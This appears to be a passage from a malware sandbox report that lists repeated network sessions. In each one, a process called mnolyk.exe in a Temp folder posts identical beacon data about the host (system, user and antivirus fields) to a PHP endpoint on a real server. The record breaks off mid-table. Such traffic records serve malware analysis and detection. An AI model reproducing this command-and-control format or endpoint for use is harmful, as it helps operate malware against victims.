Feb 8, 2023 21:33:01.267354012 CET	545	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:01.332395077 CET	545	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.3	50049	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:01.511260033 CET	546	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:01.573685884 CET	546	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.3	50050	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:01.748836040 CET	547	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:01.813494921 CET	547	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.3	50051	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:01.990272999 CET	548	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:02.057045937 CET	548	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.3	50052	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:02.230699062 CET	549	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:02.294034004 CET	549	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49737	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:25.346204996 CET	236	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:25.410954952 CET	236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.3	50053	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:02.465552092 CET	550	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:02.529279947 CET	550	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.3	50054	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:02.698713064 CET	551	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:02.764348984 CET	551	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.3	50055	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:02.962291002 CET	552	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:03.026889086 CET	552	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.3	50056	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:03.201021910 CET	553	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:03.302412033 CET	553	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.2.3	50057	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:03.487998962 CET	554	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:03.551975012 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.2.3	50058	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:03.745857954 CET	555	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:03.809408903 CET	555	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.3	50059	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:03.983890057 CET	556	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:04.048372030 CET	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.2.3	50060	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:04.219259024 CET	557	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:04.284405947 CET	557	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.3	50061	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:04.464646101 CET	558	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:04.527714014 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.2.3	50062	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:04.699485064 CET	559	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:04.762595892 CET	559	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49738	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:25.612828016 CET	237	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:25.675921917 CET	237	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.3	50063	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:04.954076052 CET	560	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:05.018045902 CET	560	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.2.3	50064	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:05.202732086 CET	561	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:05.269459009 CET	561	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.3	50065	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:05.449264050 CET	562	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:05.513484001 CET	562	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.2.3	50066	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:05.694509029 CET	563	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:05.756572008 CET	563	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.3	50067	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:05.932411909 CET	564	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:05.995294094 CET	564	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.2.3	50068	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
